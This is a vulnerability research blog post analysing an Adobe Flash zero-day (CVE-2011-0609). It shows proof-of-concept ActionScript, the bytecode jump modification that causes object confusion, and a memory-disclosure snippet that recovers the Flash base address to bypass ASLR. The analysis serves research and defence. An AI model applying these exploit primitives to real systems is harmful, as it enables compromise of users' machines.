Technical Analysis
and Advanced
Exploitation of Adobe Flash 0-Day (CVE-2011-0609)
Hi
everyone,
Back from holidays I was informed about a zero-day exploit (CVE-2011-0609)
in the wild (now patched) targeting Adobe Flash, it seems that criminals never take holidays!
As we had a copy of the SWF malware sample embedded in Excel files, it was a
great opportunity to go deeper into Flash's JIT code and test recent Haifei Li's
[1]
methods to exploit Flash vulnerabilities on Windows 7 and to bypass ASLR/DEP via IEEE-754.
In this blog, we will share our binary analysis of the vulnerability and how we
achieved a reliable exploitation on Windows 7 with ASLR/DEP bypass.
1. Technical Analysis of the Vulnerability
Based on 'crsenvironscan.xls' and 'addLabel.swf' spotted by Bugix [2], it was
not that difficult to get a simplified repro. Actually, it seemed that the one
who designed this exploit did not even care to simplify his proof-of-concept
since more than 100 differences existed between the safe ABC section and the
evil one.
After having loaded the FLA source used to compile 'addLabel.swf', we figured
out that the root cause of the vulnerability came from an invalid jump location
read from an 'if' statement.
By specifically manipulating jump sequences in an Action Script byte code, it is
possible to force the JIT code to do an "object confusion". Specifically, it is
possible to generate a valid byte code in which the same property or method
could be accessed by two different objects.
The following harmless code will be used to demonstrate the vulnerability:
package poc {
public class safe {
public function bla():ByteArray {
return new ByteArray();
}
public function safe() {
var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
var t:String = "AAAAAAAAAA&AAAAAAAAAAAAA";
t.length;
}
}
}
|
First of all, let's see how the AS3 is compiled:
function poc::safe():*
{
0 getlocal0
1 pushscope
2 pushnull
3 coerce flash.utils::ByteArray
5 setlocal1
6 pushnull
7 coerce_s
8 setlocal2
9 getlocal0
10 constructsuper (0)
// var tl:ByteArray
12 pushbyte 1
14 pushbyte 0
16 ifne L1 //if (1 == 0)
20 findpropstrict bla
22 callproperty bla (0)
25 coerce flash.utils::ByteArray // tl = bla()
27 jump L2
L1:
31 pushbyte 1
33 pushbyte 0
35 ifne L3 //if (1 == 0)
39 findpropstrict bla
41 callproperty bla (0)
44 coerce flash.utils::ByteArray // tl = bla()
46 jump L2
L3:
50 findpropstrict bla
52 callproperty bla (0)
55 coerce flash.utils::ByteArray // tl = bla()
L2:
57 coerce flash.utils::ByteArray
59 setlocal1
60 pushstring "AAAAA&AAAA"
62 setlocal2
63 getlocal2
64 getproperty length
// t.length
66 pop
67 returnvoid
}
|
As we can see, label L2 can
only be reached after having executed "coerce
flash.utils::ByteArray" which pushes a ByteArray
object on the stack.
Now let's change the jump target at line 46 and
make it point to line 62. This gives the following
result:
39 findpropstrict bla
41 callproperty bla (0)
44 coerce flash.utils::ByteArray
46 jump L4
L3:
50 findpropstrict bla
52 callproperty bla (0)
55 coerce flash.utils::ByteArray
L2:
57 coerce flash.utils::ByteArray
59 setlocal1
60 pushstring "AAAAA&AAAA"
L4:
62 setlocal2
63 getlocal2
64 getproperty length
66 pop
67 returnvoid
|
As we can see, if Flash reaches
line 39, it pushes a "ByteArray" object on the
stack and jumps to line 62 where it calls the "length"
property. This modification is accepted by the
Verifier since "String" and "ByteArray" objects
share indeed a "length" property. This would have
failed for example with the "ByteArray.endian"
property since "String" objects do not implement
such a property.
The atom confusion typically occurs here. The
resulting JIT code to call the "length" property
is actually designed for a "String" object, and
not for a "ByteArray" object. Let's see now how
"String" and "ByteArray" objects are represented
in memory.
The "String" object represented on Figure 1 begins
with a dword pointing to a VTable and contains a
pointer to the string at offset +8. Notice also
that its length is recorded at offset +10h:

Figure 1 - String object representation
A "ByteArray" object is more
complex (Figure 2). The data contained in the
array can be found by dereferencing the pointer at
offset +10h and then dereferencing the pointer at
+24h. The length of the object is this time
recorded at offset +44h:

Figure 2 - ByteArray object representation
As a result, Flash does not use
the same JIT code to get the value of the "length"
property. Figure 3 shows the code getting the
length of a String. Basically, Flash pushes the
String object to the stack and then reads the
dword at offset 10h (not shown here):

Figure 3 - Call for String.length
Figure 4 shows the lines needed
to get "ByteArray.length". This piece of code is
different because Flash dereferences at offset +8
a pointer to an object to control the call at
0x0187CD74:

Figure 4 - Call for ByteArray.length
As a result, if an object
confusion occurs between the "ByteArray" and the
"String" objects, two different behaviours may
occur. If the JIT code is designed for a "String"
object, "call eax" returns the pointer located at
offset +10h, which equals 0x01345118 in this
particular case. This can then be used to disclose
a pointer to an attacker. On the other hand, if
the JIT code is designed for a "ByteArray" object,
the following occurs (Figure 5):

Figure 5 - Call for ByteArray.length with
object confusion
2.
Advanced Exploitation on Windows 7 (ASLR/DEP
Bypass via IEEE-754)
How to exploit this issue on
Windows 7 and bypass DEP and ASLR? Not so easy, even if
you attended Haifei Li's talk at CanSecWest or saw
his slides.
The first step consists in reading the pointer at
offset +10h in the "ByteArray" object. In the next
example, this pointer equals 0x0518C0B8 (see
Figure 6). Since this pointer is located in the
Flash heap, it cannot be directly used to disclose
the Flash module base address.
However the object at this location has at least
two interesting pointers. The first one (offset 0)
points to the ".rdata" section of "Flash10n_ocx".
Knowing this value is enough to get the module
base address, since it is located at +0x00555710
in "Flash10n_ocx". Besides, the pointer at offset
+24h points to the content of the "ByteArray", so
knowing this value makes the attacker knows where
is its shellcode.

Figure 6 - Data located at 0x0518C0B8
How to read data at 0x0518C0B8?
Here comes the trick of IEEE-754. A Number object
can be instantiated by the following line:
var n:Number = new Number(123.456);
|
By doing so, Flash builds an IEEE-754
representation of 123.456 in memory which is then
encoded on 8 bytes. Moreover, the next syntax
makes Flash build a Number according to the
content of the object submitted:
var o;
var n:Number = new Number(o);
|
As a result, if the exploit writer manages to confuse
Flash by using 0x0518C0B8 instead of an object, it
becomes possible to read the 8 bytes located at
0x0518C0B8 (p):
var o = p;
var z:Number = new Number(o); //
z is the IEEE-754
representation
of 04 B9 57 08 04 B9 57 10!
var b:ByteArray = new ByteArray();
b.writeDouble(z);
var res:uint;
res = b[4]*0x1000000 + b[5]*0x10000 + b[6]*0x100 +
b[7];
this.flashBase = res - 0x555710; //
return
Flash10n.ocx base address
|
Obviously, the same can be done with the pointer
at offset +24h, to read the address of the byte
array.
Using this memory disclosure method, we have
created a
highly
reliable exploit for Windows 7 (and Vista/XP)
with ASLR and DEP bypass, and without heap spraying or a statically loaded
module, and without JavaScript.
© Copyright VUPEN Security
Previous Research Blog Entries
2010-12-21:
Technical Analysis of
Exim "string_vformat()" Remote Buffer Overflow
Vulnerability
2010-10-18: Technical Analysis
of the Windows Win32K.sys Keyboard Layout Stuxnet
Exploit
2010-09-09: Technical
Analysis of the Adobe Acrobat / Reader Buffer
Overflow 0-Day Exploit
|